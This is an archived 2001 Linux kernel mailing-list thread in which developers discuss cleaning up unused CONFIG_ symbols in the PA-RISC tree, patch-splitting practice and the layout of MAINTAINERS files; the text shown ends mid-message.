Path: news.gmane.org!not-for-mail
From: Russell King <rmk@arm.linux.org.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: OK, let's try cleaning up another nit. Is anyone paying attention?
Date: Fri, 20 Apr 2001 20:08:59 +0100
Lines: 53
Approved: news@gmane.org
Message-ID: <20010420200859.B5510@flint.arm.linux.org.uk>
References: <20010420085148.V13403@opus.bloom.county> <Pine.LNX.4.33.0104201206250.12186-100000@xanadu.home> <20010420125005.B8086@thyrsus.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620058 18449 80.91.229.3 (22 Nov 2014 01:34:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:34:18 +0000 (UTC)
To: "Eric S. Raymond" <esr@thyrsus.com>,
	Nicolas Pitre <nico@cam.org>, Tom Rini <trini@kernel.crashing.org>,
	Alan Cox <alan@lxorguk.ukuu.org.uk>,
	"Albert D. Cahalan" <acahalan@cs.uml.edu>,
	Matthew Wilcox <willy@ldl.fc.hp.com>,
	james rich <james.rich@m.cc.utah.edu>,
	lkml <linux-kernel@vger.kernel.org>, parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Apr 20 13:09:40 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 6B217482A
	for <parisc-linux@parisc-linux.org>; Fri, 20 Apr 2001 13:09:39 -0600 (MDT)
Original-Received: from dyn-33.linux.theplanet.co.uk ([195.92.244.33] helo=caramon.arm.linux.org.uk)
	by www.linux.org.uk with esmtp (Exim 3.13 #1)
	id 14qgH7-00024a-00; Fri, 20 Apr 2001 20:09:01 +0100
Original-Received: from flint.arm.linux.org.uk (IDENT:root@flint.arm.linux.org.uk [192.168.0.4])
	by caramon.arm.linux.org.uk (8.11.0/8.11.0) with ESMTP id f3KJ90b01904;
	Fri, 20 Apr 2001 20:09:00 +0100
Original-Received: (from rmk@localhost)
	by flint.arm.linux.org.uk (8.11.0/8.11.0) id f3KJ8xp06357;
	Fri, 20 Apr 2001 20:08:59 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <20010420125005.B8086@thyrsus.com>; from esr@thyrsus.com on Fri, Apr 20, 2001 at 12:50:05PM -0400
Xref: news.gmane.org gmane.linux.ports.parisc:10857

On Fri, Apr 20, 2001 at 12:50:05PM -0400, Eric S. Raymond wrote:
> Nicolas Pitre <nico@cam.org>:
> > Why not having everybody's tree consistent with themselves and have whatever
> > CONFIGURE_* symbols and help text be merged along with the very code it
> > refers to?  It's worthless to have config symbols be merged into Linus' or
> > Alan's tree if the code isn't there (yet).  It simply makes no sense.

Really, the above issue is down to the sub-architecture maintainers splitting
up their patches into the "one feature, one bug" thing, rather than "one
set of files" (which, incidentally I'm guilty of as well).  That way, when
stuff gets added, you get:

1. The C source changes for that item
2. The configure script stuff for that one item
3. The help text for that one item.

Currently, stuff that comes to me appears mostly as "here's a configure
update", "here's a PCMCIA update", etc.  I'll pull out an instance from
my patch tracking system (sorry, Philip, yours is the first one I found):

Patch 413/1 (see http://www.arm.linux.org.uk/developer/patches/?id=413/1&mode=patch)
This patch adds the defconfig file for the CLPS7500 architecture, and it
contains symbols such as:

	CONFIG_BLK_DEV_FLD7500
	CONFIG_CLPS7500_FLASH

Neither of these two drivers are currently in Linus' tree, or in fact my
tree.  Should I reject the patch?  Should I accept it and edit these out,
or what?

> And now it has a cost, too.  It makes finding real bugs more difficult.

Well, if they get removed in Linus tree, then when I next sync, they'll get
re-added, or maybe they won't.  Then someone else will remove them, then
they'll get re-added ad infinitum.

This also touches on another issue - patch.  I've had several times where
I've sent Alan stuff, its gone up to Linus, I receive it back, and during
the merge, patch does its stuff without complaining (because there is not
enough context in the diff).  Typically, this happens in the Configure.help
file.

Generally it seems like diff needs to produce one more line of context, and
most of these problems will go away.  Yes, there will still be the odd
problem, so then it becomes the "how much do you crank the setting" problem.

--
Russell King (rmk@arm.linux.org.uk)                The developer of ARM Linux
             http://www.arm.linux.org.uk/personal/aboutme.html




From - Thu Nov 08 21:17:20 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Eric S. Raymond" <esr@thyrsus.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: OK, let's try cleaning up another nit. Is anyone paying attention?
Date: Fri, 20 Apr 2001 15:47:43 -0400
Organization: Eric Conspiracy Secret Labs
Lines: 67
Approved: news@gmane.org
Message-ID: <20010420154743.A19618@thyrsus.com>
References: <20010419203639.H4217@zumpano.fc.hp.com> <20010419230009.A32500@thyrsus.com> <20010419211749.I4217@zumpano.fc.hp.com>
Reply-To: esr@thyrsus.com
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620058 18451 80.91.229.3 (22 Nov 2014 01:34:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:34:18 +0000 (UTC)
Cc: linux-kernel@vger.kernel.org, parisc-linux@parisc-linux.org
To: Matthew Wilcox <willy@ldl.fc.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Apr 20 13:48:10 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from snark.thyrsus.com (snark.tuxedo.org [207.106.50.26])
	by dsl2.external.hp.com (Postfix) with ESMTP id B07CB482A
	for <parisc-linux@parisc-linux.org>; Fri, 20 Apr 2001 13:48:08 -0600 (MDT)
Original-Received: (from esr@localhost)
	by snark.thyrsus.com (8.11.0/8.11.0) id f3KJlhN19678;
	Fri, 20 Apr 2001 15:47:43 -0400
Mail-Followup-To: "Eric S. Raymond" <esr@thyrsus.com>,
	Matthew Wilcox <willy@ldl.fc.hp.com>, linux-kernel@vger.kernel.org,
	parisc-linux@parisc-linux.org
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <20010419211749.I4217@zumpano.fc.hp.com>; from willy@ldl.fc.hp.com on Thu, Apr 19, 2001 at 09:17:49PM -0600
X-Eric-Conspiracy: There is no conspiracy
Xref: news.gmane.org gmane.linux.ports.parisc:10858

Matthew Wilcox <willy@ldl.fc.hp.com>:
> > Could I ask you to audit your tree and change the prefix on any 
> > CONFIG_ symbols that are private over there?  This would make life 
> > easier for my auditing tools (kxref and Stephen Cole's ach script).
> 
> I don't think we have any of those.  We certainly have symbols which are
> defined for symmetry and may not actually be used yet (CONFIG_PA11 might not
> be, perhaps).  But that's what happens when you're developing software :-)

Here's what I have for you guys:

CONFIG_BINFMT_JAVA: arch/parisc/config.in arch/parisc/defconfig arch/cris/config.in arch/cris/defconfig

You've already gotten rid of that one.

CONFIG_BINFMT_SOM: arch/parisc/config.in arch/parisc/defconfig

Not used in code anywhere.  Can you get rid of this one?

CONFIG_DMB_TRAP: arch/parisc/kernel/sba_iommu.c
CONFIG_FUNC_SIZE: arch/parisc/kernel/sba_iommu.c

Would you please take these out of the CONFIG_ namespace?  Changing the 
prefix to CONFIGURE would do nicely.

CONFIG_GENRTC: arch/parisc/defconfig

This is a typo for GEN_RTC.  Please fix it or get rid of it.

CONFIG_HIL: arch/parisc/defconfig

Looks like an orphan.  Can you get rid of it?

CONFIG_GSC: arch/parisc/config.in arch/parisc/defconfig
CONFIG_GSC_DINO: arch/parisc/config.in arch/parisc/defconfig
CONFIG_GSC_LASI: arch/parisc/config.in arch/parisc/defconfig arch/parisc/kernel/led.c
CONFIG_GSC_PS2: arch/parisc/config.in arch/parisc/defconfig
CONFIG_IODC_CONSOLE: arch/parisc/config.in arch/parisc/kernel/setup.c
CONFIG_IOMMU_CCIO: arch/parisc/config.in arch/parisc/defconfig arch/parisc/kernel/Makefile
CONFIG_IOMMU_SBA: arch/parisc/config.in arch/parisc/defconfig arch/parisc/kernel/Makefile
CONFIG_IOSAPIC: arch/parisc/config.in arch/parisc/defconfig arch/parisc/kernel/Makefile
CONFIG_KWDB: arch/parisc/Makefile arch/parisc/config.in arch/parisc/defconfig arch/parisc/kernel/entry.S arch/parisc/kernel/traps.c arch/parisc/mm/init.c
CONFIG_LASI_82596: arch/parisc/config.in arch/parisc/defconfig
CONFIG_PARPORT_GSC: drivers/parport/Makefile arch/parisc/config.in arch/parisc/defconfig
CONFIG_PCI_LBA: arch/parisc/config.in arch/parisc/defconfig arch/parisc/kernel/Makefile
CONFIG_SCSI_LASI: arch/parisc/config.in arch/parisc/defconfig
CONFIG_SCSI_ZALON: arch/parisc/config.in arch/parisc/defconfig
CONFIG_STI_CONSOLE: arch/parisc/Makefile arch/parisc/config.in arch/parisc/defconfig arch/parisc/kernel/setup.c arch/parisc/mm/init.c

Looks like these need Configure.help entries.

CONFIG_SERIAL_GSC: drivers/char/serial.c arch/parisc/defconfig

That reference pattern looks kind of weird.  Is this a bug?

If you could clean these up, that's everything I need from the parisc tree.
-- 
		<a href="http://www.tuxedo.org/~esr/">Eric S. Raymond</a>

(Those) who are trying to read the Second Amendment out of the Constitution by
claiming it's not an individual right (are) courting disaster by encouraging
others to use the same means to eliminate portions of the Constitution they
don't like.
	-- Alan Dershowitz, Harvard Law School




From - Thu Nov 08 21:17:21 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: willy@ldl.fc.hp.com (Matthew Wilcox)
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: OK, let's try cleaning up another nit. Is anyone paying attention?
Date: Fri, 20 Apr 2001 14:00:03 -0600
Lines: 40
Approved: news@gmane.org
Message-ID: <20010420140003.M4217@zumpano.fc.hp.com>
References: <20010419203639.H4217@zumpano.fc.hp.com> <20010419230009.A32500@thyrsus.com> <20010419211749.I4217@zumpano.fc.hp.com> <20010420154743.A19618@thyrsus.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620058 18454 80.91.229.3 (22 Nov 2014 01:34:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:34:18 +0000 (UTC)
To: "Eric S. Raymond" <esr@thyrsus.com>,
	Matthew Wilcox <willy@ldl.fc.hp.com>, linux-kernel@vger.kernel.org,
	parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Apr 20 14:00:24 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from atlrel1.hp.com (atlrel1.hp.com [156.153.255.210])
	by dsl2.external.hp.com (Postfix) with ESMTP id 328AC482A
	for <parisc-linux@parisc-linux.org>; Fri, 20 Apr 2001 14:00:24 -0600 (MDT)
Original-Received: from ldl.fc.hp.com (ldl.fc.hp.com [15.1.50.190])
	by atlrel1.hp.com (Postfix) with ESMTP
	id C9002B21; Fri, 20 Apr 2001 16:00:14 -0400 (EDT)
Original-Received: by ldl.fc.hp.com (Postfix, from userid 22224)
	id 7FD8E5A9D4; Fri, 20 Apr 2001 14:00:03 -0600 (MDT)
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <20010420154743.A19618@thyrsus.com>; from esr@thyrsus.com on Fri, Apr 20, 2001 at 03:47:43PM -0400
Xref: news.gmane.org gmane.linux.ports.parisc:10859

On Fri, Apr 20, 2001 at 03:47:43PM -0400, Eric S. Raymond wrote:
> CONFIG_BINFMT_SOM: arch/parisc/config.in arch/parisc/defconfig
> 
> Not used in code anywhere.  Can you get rid of this one?

Code not merged yet.

> CONFIG_DMB_TRAP: arch/parisc/kernel/sba_iommu.c
> CONFIG_FUNC_SIZE: arch/parisc/kernel/sba_iommu.c
> 
> Would you please take these out of the CONFIG_ namespace?  Changing the 
> prefix to CONFIGURE would do nicely.

Grant?  This is your code.

> CONFIG_GENRTC: arch/parisc/defconfig
> 
> This is a typo for GEN_RTC.  Please fix it or get rid of it.

in our tree it's in drivers/char/Makefile:

obj-$(CONFIG_GENRTC) += genrtc.o

this code was written by Sam Creasey as part of the sun3 port, and he
schlepped it into our tree too.  we have no GEN_RTC in our tree.

> CONFIG_HIL: arch/parisc/defconfig
> 
> Looks like an orphan.  Can you get rid of it?

code not yet merged.

> CONFIG_SERIAL_GSC: drivers/char/serial.c arch/parisc/defconfig
> 
> That reference pattern looks kind of weird.  Is this a bug?

it's old and needs to die properly.  i haven't had time to fix that yet.




From - Thu Nov 08 21:17:21 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Eric S. Raymond" <esr@thyrsus.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: OK, let's try cleaning up another nit. Is anyone paying attention?
Date: Fri, 20 Apr 2001 16:13:04 -0400
Organization: Eric Conspiracy Secret Labs
Lines: 16
Approved: news@gmane.org
Message-ID: <20010420161304.A19954@thyrsus.com>
References: <20010419203639.H4217@zumpano.fc.hp.com> <20010419230009.A32500@thyrsus.com> <20010419211749.I4217@zumpano.fc.hp.com> <20010420154743.A19618@thyrsus.com> <20010420140003.M4217@zumpano.fc.hp.com>
Reply-To: esr@thyrsus.com
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620059 18457 80.91.229.3 (22 Nov 2014 01:34:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:34:19 +0000 (UTC)
Cc: linux-kernel@vger.kernel.org, parisc-linux@parisc-linux.org
To: Matthew Wilcox <willy@ldl.fc.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Apr 20 14:13:35 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from snark.thyrsus.com (snark.tuxedo.org [207.106.50.26])
	by dsl2.external.hp.com (Postfix) with ESMTP id 88308482A
	for <parisc-linux@parisc-linux.org>; Fri, 20 Apr 2001 14:13:33 -0600 (MDT)
Original-Received: (from esr@localhost)
	by snark.thyrsus.com (8.11.0/8.11.0) id f3KKD5120006;
	Fri, 20 Apr 2001 16:13:05 -0400
Mail-Followup-To: "Eric S. Raymond" <esr@thyrsus.com>,
	Matthew Wilcox <willy@ldl.fc.hp.com>, linux-kernel@vger.kernel.org,
	parisc-linux@parisc-linux.org
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <20010420140003.M4217@zumpano.fc.hp.com>; from willy@ldl.fc.hp.com on Fri, Apr 20, 2001 at 02:00:03PM -0600
X-Eric-Conspiracy: There is no conspiracy
Xref: news.gmane.org gmane.linux.ports.parisc:10860

Matthew Wilcox <willy@ldl.fc.hp.com>:
> Code not merged yet.
    :
> it's old and needs to die properly.  i haven't had time to fix that yet.

Thanks for the information.  Actually the parisc tree is one of the ones
that leaks the fewest of these symbols... 
-- 
		<a href="http://www.tuxedo.org/~esr/">Eric S. Raymond</a>

Ideology, politics and journalism, which luxuriate in failure, are
impotent in the face of hope and joy.
	-- P. J. O'Rourke




From - Thu Nov 08 21:17:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jeff Dike <jdike@karaya.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: OK, let's try cleaning up another nit. Is 
 anyone paying attention?
Date: Fri, 20 Apr 2001 16:55:18 -0500
Lines: 19
Approved: news@gmane.org
Message-ID: <200104202155.QAA04046@ccure.karaya.com>
References: <20010420194702.E18464@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620059 18458 80.91.229.3 (22 Nov 2014 01:34:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:34:19 +0000 (UTC)
Cc: Bob McElrath <rsmcelrath@students.wisc.edu>,
	linux-kernel@vger.kernel.org, parisc-linux@parisc-linux.org
To: Matthew Wilcox <matthew@wil.cx>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Apr 20 14:42:43 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from ccure.karaya.com (mnh-1-15.mv.com [207.22.10.47])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5AEF0482A
	for <parisc-linux@parisc-linux.org>; Fri, 20 Apr 2001 14:42:41 -0600 (MDT)
Original-Received: from ccure (IDENT:jdike@ccure [127.0.0.1])
	by ccure.karaya.com (8.9.3/8.9.3) with ESMTP id QAA04046;
	Fri, 20 Apr 2001 16:55:18 -0500
X-Mailer: exmh version 2.0.2
In-Reply-To: Your message of "Fri, 20 Apr 2001 19:47:02 +0100."
             <20010420194702.E18464@parcelfarce.linux.theplanet.co.uk> 
Xref: news.gmane.org gmane.linux.ports.parisc:10861

matthew@wil.cx said:
> Have you tried mailing webmaster@kernel.org and asking to be added? 

Yes.

jes@linuxcare.com said:
> I'd be highly surprised if they said no to adding UML to the list if
> you mailed them a request to update the page. 

Well, be surprised then.  The reply from hpa was that that list was for 
processor ports.  He did say that there might at some point in the future be a 
separate list (off the main page) of other things.

				Jeff






From - Thu Nov 08 21:17:21 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Cox <alan@lxorguk.ukuu.org.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: OK, let's try cleaning up another nit. Is anyone paying attention?
Date: Fri, 20 Apr 2001 21:55:14 +0100 (BST)
Lines: 9
Approved: news@gmane.org
Message-ID: <E14qhvx-0002BR-00@the-village.bc.nu>
References: <20010420154743.A19618@thyrsus.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620059 18460 80.91.229.3 (22 Nov 2014 01:34:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:34:19 +0000 (UTC)
Cc: willy@ldl.fc.hp.com (Matthew Wilcox),
	linux-kernel@vger.kernel.org, parisc-linux@parisc-linux.org
To: esr@thyrsus.com
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Apr 20 14:54:50 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from the-village.bc.nu (router-100M.swansea.linux.org.uk [194.168.151.17])
	by dsl2.external.hp.com (Postfix) with ESMTP id C8278482A
	for <parisc-linux@parisc-linux.org>; Fri, 20 Apr 2001 14:54:48 -0600 (MDT)
Original-Received: from alan by the-village.bc.nu with local (Exim 2.12 #1)
	id 14qhvx-0002BR-00; Fri, 20 Apr 2001 21:55:17 +0100
In-Reply-To: <20010420154743.A19618@thyrsus.com> from "Eric S. Raymond" at Apr 20, 2001 03:47:43 PM
X-Mailer: ELM [version 2.5 PL1]
Xref: news.gmane.org gmane.linux.ports.parisc:10862

> CONFIG_BINFMT_SOM: arch/parisc/config.in arch/parisc/defconfig
> Not used in code anywhere.  Can you get rid of this one?

Its used in the parisc tree as are most of the others you see. You probably want
to simply skip processing arch/parisc





From - Thu Nov 08 21:17:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: David Woodhouse <dwmw2@infradead.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: OK, let's try cleaning up another nit. Is anyone paying attention?
Date: Fri, 20 Apr 2001 22:19:08 +0100
Lines: 26
Approved: news@gmane.org
Message-ID: <6817.987801548@redhat.com>
References: <Pine.LNX.4.33.0104201440580.12186-100000@xanadu.home>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620060 18467 80.91.229.3 (22 Nov 2014 01:34:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:34:20 +0000 (UTC)
Cc: Tom Rini <trini@kernel.crashing.org>,
	"Eric S. Raymond" <esr@thyrsus.com>,
	Alan Cox <alan@lxorguk.ukuu.org.uk>,
	"Albert D. Cahalan" <acahalan@cs.uml.edu>,
	Matthew Wilcox <willy@ldl.fc.hp.com>,
	james rich <james.rich@m.cc.utah.edu>,
	lkml <linux-kernel@vger.kernel.org>, parisc-linux@parisc-linux.org
To: Nicolas Pitre <nico@cam.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Apr 20 15:24:06 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from passion.cambridge.redhat.com (dell-paw-3.cambridge.redhat.com [195.224.55.237])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0208E482A
	for <parisc-linux@parisc-linux.org>; Fri, 20 Apr 2001 15:24:05 -0600 (MDT)
Original-Received: from dwmw2 (helo=redhat.com)
	by passion.cambridge.redhat.com with local-esmtp (Exim 3.16 #2)
	id 14qiJ2-0001ly-00; Fri, 20 Apr 2001 22:19:08 +0100
X-Mailer: exmh version 2.3 01/15/2001 with nmh-1.0.4
X-Accept-Language: en_GB
In-Reply-To: <Pine.LNX.4.33.0104201440580.12186-100000@xanadu.home> 
Original-Sender: David Woodhouse <dwmw2@redhat.com>
Xref: news.gmane.org gmane.linux.ports.parisc:10863

nico@cam.org said:
> Therefore it's the maintainer's job to submit coherent patches and
> accept to see inconsistent CONFIG_* references be removed from the
> official tree until further patch submission is due. 

Maybe. But you tend to include the latest MTD code in your tree, for
example, and hence the defconfigs have the new options in. Is it really
worth your time to produce separate defconfigs without it before feeding 
your changes upstream?


> Otherwise how can you distinguish between dead wood which must be
> removed and potentially valid symbols referring to code existing only
> in a remote tree?

By periodically publishing a list of the potentially-obsolete symbols as ESR
has done, and _not_ removing the ones which people speak up about. It's not
as if this is something which needs to be done more than about once a year.

--
dwmw2






From - Thu Nov 08 21:17:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andreas Dilger <adilger@turbolinux.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: OK, let's try cleaning up another nit. Is anyone
 paying attention?
Date: Fri, 20 Apr 2001 15:23:32 -0600 (MDT)
Lines: 44
Approved: news@gmane.org
Message-ID: <200104202123.f3KLNWSm031572@webber.adilger.int>
References: <20010420195004.A5510@flint.arm.linux.org.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
X-Trace: ger.gmane.org 1416620060 18469 80.91.229.3 (22 Nov 2014 01:34:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:34:20 +0000 (UTC)
Cc: "Eric S. Raymond" <esr@thyrsus.com>,
	Alan Cox <alan@lxorguk.ukuu.org.uk>,
	"Albert D. Cahalan" <acahalan@cs.uml.edu>,
	Matthew Wilcox <willy@ldl.fc.hp.com>,
	james rich <james.rich@m.cc.utah.edu>, linux-kernel@vger.kernel.org,
	parisc-linux@parisc-linux.org
To: Russell King <rmk@arm.linux.org.uk>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Apr 20 15:24:35 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from webber.adilger.int (h24-65-193-28.cg.shawcable.net [24.65.193.28])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3206A482A
	for <parisc-linux@parisc-linux.org>; Fri, 20 Apr 2001 15:24:35 -0600 (MDT)
Original-Received: (from adilger@localhost)
        by webber.adilger.int (8.12.0.Beta7/8.12.0.Beta7/Debian 8.12.0.Beta7-1) id f3KLNWSm031572;
	Fri, 20 Apr 2001 15:23:32 -0600
In-Reply-To: <20010420195004.A5510@flint.arm.linux.org.uk> "from Russell King
 at Apr 20, 2001 07:50:04 pm"
X-Mailer: ELM [version 2.4ME+ PL87 (25)]
Xref: news.gmane.org gmane.linux.ports.parisc:10864

Russell King writes:
> - Secondly, its very easy to miss stuff in the lkml hunk of email each
>   day when you have less than 4 hours to read it and think about it.
>   (note that architecture maintainers have to read mail from their
>   side which may not be on lkml, think about that, think about bug fixes,
>   possible impacts of fixes on other machines, etc etc).  Therefore,
>   copying their email address registered in the MAINTAINER file means
>   that they should not overlook your patch.

One of the issues for contacting each MAINTAINER is that this information
is out-of-line from the actual kernel tree.  The other is that the
description of what a maintainer is actually controlling is somewhat
vague.

How about the following:
- each directory has a MAINTAINERS file which lists parties with a
  vested interest in files in that directory (format is mostly the
  same as current)
- subdirectories which don't have a MAINTAINERS file use the MAINTAINERS
  file of the parent (or grandparent) directory
- each maintainer entry explicitly lists each file/directory that this
  person is interested in, maybe "F: {file | directory} ...".

I'm sure Eric can come up with a simple program to parse the MAINTAINER
file/tree.  If the program takes a kernel-tree relative filename and
spit out the name/email of the relevant maintainer (subsystem and port
specific mailing lists should also be included), that would make the 
job of finding out who to send patches to a whole lot easier.

My one gripe about the MAINTAINERS file is that it still lists Remy
Card as EXT2 maintainer, so we would probably need to do a find on
the whole kernel tree, email each address a list of files that they
"maintain" and wait until they complain, agree, or time out.  Once
the database is up-to-date, it simplifies the job of keeping maintainers
(and other interested parties) in the loop.

Cheers, Andreas
-- 
Andreas Dilger  \ "If a man ate a pound of pasta and a pound of antipasto,
                 \  would they cancel out, leaving him still hungry?"
http://www-mddsp.enel.ucalgary.ca/People/adilger/               -- Dogbert




From - Thu Nov 08 21:17:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Eric S. Raymond" <esr@thyrsus.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: OK, let's try cleaning up another nit. Is anyone paying attention?
Date: Fri, 20 Apr 2001 17:24:35 -0400
Organization: Eric Conspiracy Secret Labs
Lines: 24
Approved: news@gmane.org
Message-ID: <20010420172435.A21252@thyrsus.com>
References: <Pine.LNX.4.33.0104201440580.12186-100000@xanadu.home> <6817.987801548@redhat.com>
Reply-To: esr@thyrsus.com
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620060 18471 80.91.229.3 (22 Nov 2014 01:34:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:34:20 +0000 (UTC)
Cc: Nicolas Pitre <nico@cam.org>,
	Tom Rini <trini@kernel.crashing.org>,
	Alan Cox <alan@lxorguk.ukuu.org.uk>,
	"Albert D. Cahalan" <acahalan@cs.uml.edu>,
	Matthew Wilcox <willy@ldl.fc.hp.com>,
	james rich <james.rich@m.cc.utah.edu>,
	lkml <linux-kernel@vger.kernel.org>, parisc-linux@parisc-linux.org
To: David Woodhouse <dwmw2@infradead.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Apr 20 15:25:35 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from snark.thyrsus.com (snark.tuxedo.org [207.106.50.26])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2D9F2482A
	for <parisc-linux@parisc-linux.org>; Fri, 20 Apr 2001 15:25:34 -0600 (MDT)
Original-Received: (from esr@localhost)
	by snark.thyrsus.com (8.11.0/8.11.0) id f3KLOZR21256;
	Fri, 20 Apr 2001 17:24:35 -0400
Mail-Followup-To: "Eric S. Raymond" <esr@thyrsus.com>,
	David Woodhouse <dwmw2@infradead.org>, Nicolas Pitre <nico@cam.org>,
	Tom Rini <trini@kernel.crashing.org>,
	Alan Cox <alan@lxorguk.ukuu.org.uk>,
	"Albert D. Cahalan" <acahalan@cs.uml.edu>,
	Matthew Wilcox <willy@ldl.fc.hp.com>,
	james rich <james.rich@m.cc.utah.edu>,
	lkml <linux-kernel@vger.kernel.org>, parisc-linux@parisc-linux.org
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <6817.987801548@redhat.com>; from dwmw2@infradead.org on Fri, Apr 20, 2001 at 10:19:08PM +0100
X-Eric-Conspiracy: There is no conspiracy
Xref: news.gmane.org gmane.linux.ports.parisc:10865

David Woodhouse <dwmw2@infradead.org>:
> > Otherwise how can you distinguish between dead wood which must be
> > removed and potentially valid symbols referring to code existing only
> > in a remote tree?
> 
> By periodically publishing a list of the potentially-obsolete symbols as ESR
> has done, and _not_ removing the ones which people speak up about. It's not
> as if this is something which needs to be done more than about once a year.

Not good enough.  In a year, the pile of false positives would get high enough
to make it too hard to spot real bugs like the Aironet mismatch.  The whole 
point of the cleanup is to be able to mechanize the consistency checks so they
